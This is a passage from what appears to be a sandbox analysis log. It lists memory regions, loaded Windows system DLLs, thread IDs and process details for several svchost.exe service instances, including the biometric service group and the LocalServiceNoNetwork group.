	        filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll")

Region:
	              id = 1919
	        start_va = 0x7ffc01360000
	          end_va = 0x7ffc0153cfff
	     entry_point = 0x7ffc01360000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 1920
	        start_va = 0x7ffc01540000
	          end_va = 0x7ffc015e4fff
	     entry_point = 0x7ffc01540000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")

Region:
	              id = 1921
	        start_va = 0x7ffc01640000
	          end_va = 0x7ffc016e5fff
	     entry_point = 0x7ffc01640000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 1922
	        start_va = 0x7ffc018a0000
	          end_va = 0x7ffc01b1bfff
	     entry_point = 0x7ffc018a0000
	     region_type = mapped_file
	            name = "combase.dll"
	        filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll")

Region:
	              id = 1923
	        start_va = 0x7ffc01b20000
	          end_va = 0x7ffc01ce4fff
	     entry_point = 0x7ffc01b20000
	     region_type = mapped_file
	            name = "setupapi.dll"
	        filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll")

Region:
	              id = 1924
	        start_va = 0x7ffc01dd0000
	          end_va = 0x7ffc01ef5fff
	     entry_point = 0x7ffc01dd0000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 1925
	        start_va = 0x7ffc01f00000
	          end_va = 0x7ffc0204dfff
	     entry_point = 0x7ffc01f00000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 1926
	        start_va = 0x7ffc02050000
	          end_va = 0x7ffc02057fff
	     entry_point = 0x7ffc02050000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll")

Region:
	              id = 1927
	        start_va = 0x7ffc02060000
	          end_va = 0x7ffc020fcfff
	     entry_point = 0x7ffc02060000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 1928
	        start_va = 0x7ffc02100000
	          end_va = 0x7ffc0215afff
	     entry_point = 0x7ffc02100000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 1929
	        start_va = 0x7ffc037f0000
	          end_va = 0x7ffc03974fff
	     entry_point = 0x7ffc037f0000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 1930
	        start_va = 0x7ffc03980000
	          end_va = 0x7ffc039e8fff
	     entry_point = 0x7ffc03980000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")

Region:
	              id = 1931
	        start_va = 0x7ffc03a50000
	          end_va = 0x7ffc03aa0fff
	     entry_point = 0x7ffc03a50000
	     region_type = mapped_file
	            name = "shlwapi.dll"
	        filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")

Region:
	              id = 1932
	        start_va = 0x7ffc03bb0000
	          end_va = 0x7ffc03cf0fff
	     entry_point = 0x7ffc03bb0000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")

Region:
	              id = 1933
	        start_va = 0x7ffc03d00000
	          end_va = 0x7ffc03dbdfff
	     entry_point = 0x7ffc03d00000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 1934
	        start_va = 0x7ffc03dc0000
	          end_va = 0x7ffc03e6cfff
	     entry_point = 0x7ffc03dc0000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 1935
	        start_va = 0x7ffc03e70000
	          end_va = 0x7ffc04031fff
	     entry_point = 0x7ffc03e70000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")


Thread:
	id = 355
	os_tid = 0xf38


Thread:
	id = 356
	os_tid = 0xf30


Thread:
	id = 357
	os_tid = 0xf24


Thread:
	id = 358
	os_tid = 0xf1c


Thread:
	id = 359
	os_tid = 0xf14


Thread:
	id = 360
	os_tid = 0xf00


Thread:
	id = 361
	os_tid = 0xefc


Thread:
	id = 362
	os_tid = 0xecc


Thread:
	id = 363
	os_tid = 0x434


Thread:
	id = 364
	os_tid = 0x430


Thread:
	id = 365
	os_tid = 0x424


Thread:
	id = 366
	os_tid = 0x40c


Thread:
	id = 367
	os_tid = 0x404


Thread:
	id = 448
	os_tid = 0x1a4


Process:
	id = "17"
	image_name = "svchost.exe"
	filename = "c:\\windows\\system32\\svchost.exe"
	page_root = "0x53147000"
	os_pid = "0x448"
	os_integrity_level = "0x4000"
	os_privileges = "0x20b00080"
	monitor_reason = "child_process"
	parent_id = "8"
	os_parent_pid = "0x1e4"
	cmd_line = "C:\\Windows\\system32\\svchost.exe -k WbioSvcGroup"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7]

Region:
	              id = 1936
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 1937
	        start_va = 0xa808790000
	          end_va = 0xa80879ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000a808790000"
	        filename = ""

Region:
	              id = 1938
	        start_va = 0xa8087a0000
	          end_va = 0xa8087a5fff
	     entry_point = 0xa8087a0000
	     region_type = mapped_file
	            name = "wbiosrvc.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\wbiosrvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wbiosrvc.dll.mui")

Region:
	              id = 1939
	        start_va = 0xa8087b0000
	          end_va = 0xa8087c3fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000a8087b0000"
	        filename = ""

Region:
	              id = 1940
	        start_va = 0xa8087d0000
	          end_va = 0xa80884ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000a8087d0000"
	        filename = ""

Region:
	              id = 1941
	        start_va = 0xa808850000
	          end_va = 0xa808853fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000a808850000"
	        filename = ""

Region:
	              id = 1942
	        start_va = 0xa808860000
	          end_va = 0xa808860fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000a808860000"
	        filename = ""

Region:
	              id = 1943
	        start_va = 0xa808870000
	          end_va = 0xa808871fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000a808870000"
	        filename = ""

Region:
	              id = 1944
	        start_va = 0xa808880000
	          end_va = 0xa80893dfff
	     entry_point = 0xa808880000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 1945
	        start_va = 0xa808940000
	          end_va = 0xa808940fff
	     entry_point = 0xa808940000
	     region_type = mapped_file
	            name = "winbiostorageadapter.dll.mui"
	        filename = "\\Windows\\System32\\WinBioPlugIns\\en-US\\winbioStorageadapter.dll.mui" (normalized: "c:\\windows\\system32\\winbioplugins\\en-us\\winbiostorageadapter.dll.mui")

Region:
	              id = 1946
	        start_va = 0xa808950000
	          end_va = 0xa808950fff
	     entry_point = 0xa808950000
	     region_type = mapped_file
	            name = "svchost.exe.mui"
	        filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui")

Region:
	              id = 1947
	        start_va = 0xa808960000
	          end_va = 0xa808960fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000a808960000"
	        filename = ""

Region:
	              id = 1948
	        start_va = 0xa808970000
	          end_va = 0xa808970fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000a808970000"
	        filename = ""

Region:
	              id = 1949
	        start_va = 0xa8089b0000
	          end_va = 0xa8089b6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000a8089b0000"
	        filename = ""

Region:
	              id = 1950
	        start_va = 0xa808a00000
	          end_va = 0xa808afffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000a808a00000"
	        filename = ""

Region:
	              id = 1951
	        start_va = 0xa808b80000
	          end_va = 0xa808c7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000a808b80000"
	        filename = ""

Region:
	              id = 1952
	        start_va = 0xa808c80000
	          end_va = 0xa808d7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000a808c80000"
	        filename = ""

Region:
	              id = 1953
	        start_va = 0xa808d80000
	          end_va = 0xa808e7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000a808d80000"
	        filename = ""

Region:
	              id = 1954
	        start_va = 0xa808e80000
	          end_va = 0xa809007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000a808e80000"
	        filename = ""

Region:
	              id = 1955
	        start_va = 0xa809060000
	          end_va = 0xa809066fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000a809060000"
	        filename = ""

Region:
	              id = 1956
	        start_va = 0xa809100000
	          end_va = 0xa8091fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000a809100000"
	        filename = ""

Region:
	              id = 1957
	        start_va = 0xa809200000
	          end_va = 0xa809380fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000a809200000"
	        filename = ""

Region:
	              id = 1958
	        start_va = 0xa809390000
	          end_va = 0xa80944ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000a809390000"
	        filename = ""

Region:
	              id = 1959
	        start_va = 0xa809550000
	          end_va = 0xa80964ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000a809550000"
	        filename = ""

Region:
	              id = 1960
	        start_va = 0x7df5ffaf0000
	          end_va = 0x7ff5ffaeffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007df5ffaf0000"
	        filename = ""

Region:
	              id = 1961
	        start_va = 0x7ff7b2d0c000
	          end_va = 0x7ff7b2d0dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b2d0c000"
	        filename = ""

Region:
	              id = 1962
	        start_va = 0x7ff7b2d10000
	          end_va = 0x7ff7b2e0ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff7b2d10000"
	        filename = ""

Region:
	              id = 1963
	        start_va = 0x7ff7b2e10000
	          end_va = 0x7ff7b2e32fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff7b2e10000"
	        filename = ""

Region:
	              id = 1964
	        start_va = 0x7ff7b2e34000
	          end_va = 0x7ff7b2e35fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b2e34000"
	        filename = ""

Region:
	              id = 1965
	        start_va = 0x7ff7b2e36000
	          end_va = 0x7ff7b2e36fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b2e36000"
	        filename = ""

Region:
	              id = 1966
	        start_va = 0x7ff7b2e38000
	          end_va = 0x7ff7b2e39fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b2e38000"
	        filename = ""

Region:
	              id = 1967
	        start_va = 0x7ff7b2e3a000
	          end_va = 0x7ff7b2e3bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b2e3a000"
	        filename = ""

Region:
	              id = 1968
	        start_va = 0x7ff7b2e3e000
	          end_va = 0x7ff7b2e3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b2e3e000"
	        filename = ""

Region:
	              id = 1969
	        start_va = 0x7ff7b3dc0000
	          end_va = 0x7ff7b3dccfff
	     entry_point = 0x7ff7b3dc0000
	     region_type = mapped_file
	            name = "svchost.exe"
	        filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe")

Region:
	              id = 1970
	        start_va = 0x7ffbfbf50000
	          end_va = 0x7ffbfbf7ffff
	     entry_point = 0x7ffbfbf50000
	     region_type = mapped_file
	            name = "rtworkq.dll"
	        filename = "\\Windows\\System32\\RTWorkQ.dll" (normalized: "c:\\windows\\system32\\rtworkq.dll")

Region:
	              id = 1971
	        start_va = 0x7ffbfbf80000
	          end_va = 0x7ffbfc08bfff
	     entry_point = 0x7ffbfbf80000
	     region_type = mapped_file
	            name = "mfplat.dll"
	        filename = "\\Windows\\System32\\mfplat.dll" (normalized: "c:\\windows\\system32\\mfplat.dll")

Region:
	              id = 1972
	        start_va = 0x7ffbfc090000
	          end_va = 0x7ffbfc0fafff
	     entry_point = 0x7ffbfc090000
	     region_type = mapped_file
	            name = "nuivoicewbsadapters.dll"
	        filename = "\\Windows\\System32\\WinBioPlugIns\\NUIVoiceWBSAdapters.dll" (normalized: "c:\\windows\\system32\\winbioplugins\\nuivoicewbsadapters.dll")

Region:
	              id = 1973
	        start_va = 0x7ffbfc100000
	          end_va = 0x7ffbfc10afff
	     entry_point = 0x7ffbfc100000
	     region_type = mapped_file
	            name = "winbiostorageadapter.dll"
	        filename = "\\Windows\\System32\\WinBioPlugIns\\winbiostorageadapter.dll" (normalized: "c:\\windows\\system32\\winbioplugins\\winbiostorageadapter.dll")

Region:
	              id = 1974
	        start_va = 0x7ffbfc110000
	          end_va = 0x7ffbfc145fff
	     entry_point = 0x7ffbfc110000
	     region_type = mapped_file
	            name = "facerecognitionengineadapter.dll"
	        filename = "\\Windows\\System32\\WinBioPlugIns\\FaceRecognitionEngineAdapter.dll" (normalized: "c:\\windows\\system32\\winbioplugins\\facerecognitionengineadapter.dll")

Region:
	              id = 1975
	        start_va = 0x7ffbfc150000
	          end_va = 0x7ffbfc694fff
	     entry_point = 0x7ffbfc150000
	     region_type = mapped_file
	            name = "d2d1.dll"
	        filename = "\\Windows\\System32\\d2d1.dll" (normalized: "c:\\windows\\system32\\d2d1.dll")

Region:
	              id = 1976
	        start_va = 0x7ffbfc6a0000
	          end_va = 0x7ffbfc6d0fff
	     entry_point = 0x7ffbfc6a0000
	     region_type = mapped_file
	            name = "facerecognitionsensoradapter.dll"
	        filename = "\\Windows\\System32\\WinBioPlugIns\\FaceRecognitionSensorAdapter.dll" (normalized: "c:\\windows\\system32\\winbioplugins\\facerecognitionsensoradapter.dll")

Region:
	              id = 1977
	        start_va = 0x7ffbfc730000
	          end_va = 0x7ffbfc737fff
	     entry_point = 0x7ffbfc730000
	     region_type = mapped_file
	            name = "winbioext.dll"
	        filename = "\\Windows\\System32\\winbioext.dll" (normalized: "c:\\windows\\system32\\winbioext.dll")

Region:
	              id = 1978
	        start_va = 0x7ffbfc740000
	          end_va = 0x7ffbfc831fff
	     entry_point = 0x7ffbfc740000
	     region_type = mapped_file
	            name = "ucrtbase.dll"
	        filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll")

Region:
	              id = 1979
	        start_va = 0x7ffbfc840000
	          end_va = 0x7ffbfc8dafff
	     entry_point = 0x7ffbfc840000
	     region_type = mapped_file
	            name = "msvcp_win.dll"
	        filename = "\\Windows\\System32\\msvcp_win.dll" (normalized: "c:\\windows\\system32\\msvcp_win.dll")

Region:
	              id = 1980
	        start_va = 0x7ffbfc8e0000
	          end_va = 0x7ffbfc979fff
	     entry_point = 0x7ffbfc8e0000
	     region_type = mapped_file
	            name = "wbiosrvc.dll"
	        filename = "\\Windows\\System32\\wbiosrvc.dll" (normalized: "c:\\windows\\system32\\wbiosrvc.dll")

Region:
	              id = 1981
	        start_va = 0x7ffbfd190000
	          end_va = 0x7ffbfd19afff
	     entry_point = 0x7ffbfd190000
	     region_type = mapped_file
	            name = "avrt.dll"
	        filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll")

Region:
	              id = 1982
	        start_va = 0x7ffbff210000
	          end_va = 0x7ffbff236fff
	     entry_point = 0x7ffbff210000
	     region_type = mapped_file
	            name = "devobj.dll"
	        filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll")

Region:
	              id = 1983
	        start_va = 0x7ffbffcc0000
	          end_va = 0x7ffbffcc9fff
	     entry_point = 0x7ffbffcc0000
	     region_type = mapped_file
	            name = "dpapi.dll"
	        filename = "\\Windows\\System32\\dpapi.dll" (normalized: "c:\\windows\\system32\\dpapi.dll")

Region:
	              id = 1984
	        start_va = 0x7ffc002e0000
	          end_va = 0x7ffc002eafff
	     entry_point = 0x7ffc002e0000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")

Region:
	              id = 1985
	        start_va = 0x7ffc006c0000
	          end_va = 0x7ffc006e7fff
	     entry_point = 0x7ffc006c0000
	     region_type = mapped_file
	            name = "bcrypt.dll"
	        filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll")

Region:
	              id = 1986
	        start_va = 0x7ffc006f0000
	          end_va = 0x7ffc0075afff
	     entry_point = 0x7ffc006f0000
	     region_type = mapped_file
	            name = "bcryptprimitives.dll"
	        filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll")

Region:
	              id = 1987
	        start_va = 0x7ffc00910000
	          end_va = 0x7ffc0091efff
	     entry_point = 0x7ffc00910000
	     region_type = mapped_file
	            name = "kernel.appcore.dll"
	        filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll")

Region:
	              id = 1988
	        start_va = 0x7ffc00920000
	          end_va = 0x7ffc00930fff
	     entry_point = 0x7ffc00920000
	     region_type = mapped_file
	            name = "msasn1.dll"
	        filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll")

Region:
	              id = 1989
	        start_va = 0x7ffc00f70000
	          end_va = 0x7ffc00fb3fff
	     entry_point = 0x7ffc00f70000
	     region_type = mapped_file
	            name = "cfgmgr32.dll"
	        filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll")

Region:
	              id = 1990
	        start_va = 0x7ffc00fc0000
	          end_va = 0x7ffc01072fff
	     entry_point = 0x7ffc00fc0000
	     region_type = mapped_file
	            name = "shcore.dll"
	        filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll")

Region:
	              id = 1991
	        start_va = 0x7ffc01190000
	          end_va = 0x7ffc01350fff
	     entry_point = 0x7ffc01190000
	     region_type = mapped_file
	            name = "crypt32.dll"
	        filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll")

Region:
	              id = 1992
	        start_va = 0x7ffc01360000
	          end_va = 0x7ffc0153cfff
	     entry_point = 0x7ffc01360000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 1993
	        start_va = 0x7ffc01640000
	          end_va = 0x7ffc016e5fff
	     entry_point = 0x7ffc01640000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 1994
	        start_va = 0x7ffc018a0000
	          end_va = 0x7ffc01b1bfff
	     entry_point = 0x7ffc018a0000
	     region_type = mapped_file
	            name = "combase.dll"
	        filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll")

Region:
	              id = 1995
	        start_va = 0x7ffc01dd0000
	          end_va = 0x7ffc01ef5fff
	     entry_point = 0x7ffc01dd0000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 1996
	        start_va = 0x7ffc01f00000
	          end_va = 0x7ffc0204dfff
	     entry_point = 0x7ffc01f00000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 1997
	        start_va = 0x7ffc02060000
	          end_va = 0x7ffc020fcfff
	     entry_point = 0x7ffc02060000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 1998
	        start_va = 0x7ffc02100000
	          end_va = 0x7ffc0215afff
	     entry_point = 0x7ffc02100000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 1999
	        start_va = 0x7ffc037f0000
	          end_va = 0x7ffc03974fff
	     entry_point = 0x7ffc037f0000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 2000
	        start_va = 0x7ffc03dc0000
	          end_va = 0x7ffc03e6cfff
	     entry_point = 0x7ffc03dc0000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 2001
	        start_va = 0x7ffc03e70000
	          end_va = 0x7ffc04031fff
	     entry_point = 0x7ffc03e70000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")


Thread:
	id = 368
	os_tid = 0x2f0


Thread:
	id = 369
	os_tid = 0x478


Thread:
	id = 370
	os_tid = 0x470


Thread:
	id = 371
	os_tid = 0x458


Thread:
	id = 372
	os_tid = 0x44c


Thread:
	id = 457
	os_tid = 0xf0


Thread:
	id = 458
	os_tid = 0xb4c


Process:
	id = "18"
	image_name = "svchost.exe"
	filename = "c:\\windows\\system32\\svchost.exe"
	page_root = "0x4c450000"
	os_pid = "0x45c"
	os_integrity_level = "0x4000"
	os_privileges = "0x60a00000"
	monitor_reason = "child_process"
	parent_id = "8"
	os_parent_pid = "0x1e4"
	cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalServiceNoNetwork"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\Local Service"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BFE" [0xe], "NT SERVICE\\CoreMessagingRegistrar" [0xa], "NT SERVICE\\DPS" [0xa], "NT SERVICE\\MpsSvc" [0xa], "NT SERVICE\\NcdAutoSetup" [0xa], "NT SERVICE\\pla" [0xa], "NT SERVICE\\WwanSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:00011181" [0xc000000f], "LOCAL" [0x7], "NT AUTHORITY\\WRITE RESTRICTED" [0x7]

Region:
	              id = 1608
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 1609
	        start_va = 0xcd2be00000
	          end_va = 0xcd2be0ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000cd2be00000"
	        filename = ""

Region:
	              id = 1610
	        start_va = 0xcd2be10000
	          end_va = 0xcd2be10fff
	     entry_point = 0xcd2be10000
	     region_type = mapped_file
	            name = "svchost.exe.mui"
	        filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui")

Region:
	              id = 1611
	        start_va = 0xcd2be20000
	          end_va = 0xcd2be33fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000cd2be20000"
	        filename = ""

Region:
	              id = 1612
	        start_va = 0xcd2be40000
	          end_va = 0xcd2bebffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd2be40000"
	        filename = ""

Region:
	              id = 1613
	        start_va = 0xcd2bec0000
	          end_va = 0xcd2bec3fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000cd2bec0000"
	        filename = ""

Region:
	              id = 1614
	        start_va = 0xcd2bed0000
	          end_va = 0xcd2bed0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000cd2bed0000"
	        filename = ""

Region:
	              id = 1615
	        start_va = 0xcd2bee0000
	          end_va = 0xcd2bee1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd2bee0000"
	        filename = ""

Region:
	              id = 1616
	        start_va = 0xcd2bef0000
	          end_va = 0xcd2bfadfff
	     entry_point = 0xcd2bef0000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 1617
	        start_va = 0xcd2c030000
	          end_va = 0xcd2c030fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd2c030000"
	        filename = ""

Region:
	              id = 1618
	        start_va = 0xcd2c040000
	          end_va = 0xcd2c040fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd2c040000"
	        filename = ""

Region:
	              id = 1619
	        start_va = 0xcd2c050000
	          end_va = 0xcd2c056fff
	     entry_point = 0xcd2c050000
	     region_type = mapped_file
	            name = "bfe.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\bfe.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\bfe.dll.mui")

Region:
	              id = 1620
	        start_va = 0xcd2c060000
	          end_va = 0xcd2c083fff
	     entry_point = 0xcd2c060000
	     region_type = mapped_file
	            name = "firewallapi.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\FirewallAPI.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\firewallapi.dll.mui")

Region:
	              id = 1621
	        start_va = 0xcd2c090000
	          end_va = 0xcd2c09ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd2c090000"
	        filename = ""

Region:
	              id = 1622
	        start_va = 0xcd2c0a0000
	          end_va = 0xcd2c0a0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd2c0a0000"
	        filename = ""

Region:
	              id = 1623
	        start_va = 0xcd2c0b0000
	          end_va = 0xcd2c0b6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd2c0b0000"
	        filename = ""

Region:
	              id = 1624
	        start_va = 0xcd2c0c0000
	          end_va = 0xcd2c0c0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000cd2c0c0000"
	        filename = ""

Region:
	              id = 1625
	        start_va = 0xcd2c0d0000
	          end_va = 0xcd2c0d0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000cd2c0d0000"
	        filename = ""

Region:
	              id = 1626
	        start_va = 0xcd2c0e0000
	          end_va = 0xcd2c0e7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd2c0e0000"
	        filename = ""

Region:
	              id = 1627
	        start_va = 0xcd2c0f0000
	          end_va = 0xcd2c0f0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd2c0f0000"
	        filename = ""

Region:
	              id = 1628
	        start_va = 0xcd2c100000
	          end_va = 0xcd2c1fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd2c100000"
	        filename = ""

Region:
	              id = 1629
	        start_va = 0xcd2c200000
	          end_va = 0xcd2c2bffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000cd2c200000"
	        filename = ""

Region:
	              id = 1630
	        start_va = 0xcd2c2c0000
	          end_va = 0xcd2c2c1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000cd2c2c0000"
	        filename = ""

Region:
	              id = 1631
	        start_va = 0xcd2c320000
	          end_va = 0xcd2c326fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd2c320000"
	        filename = ""

Region:
	              id = 1632
	        start_va = 0xcd2c330000
	          end_va = 0xcd2c3acfff
	     entry_point = 0xcd2c330000
	     region_type = mapped_file
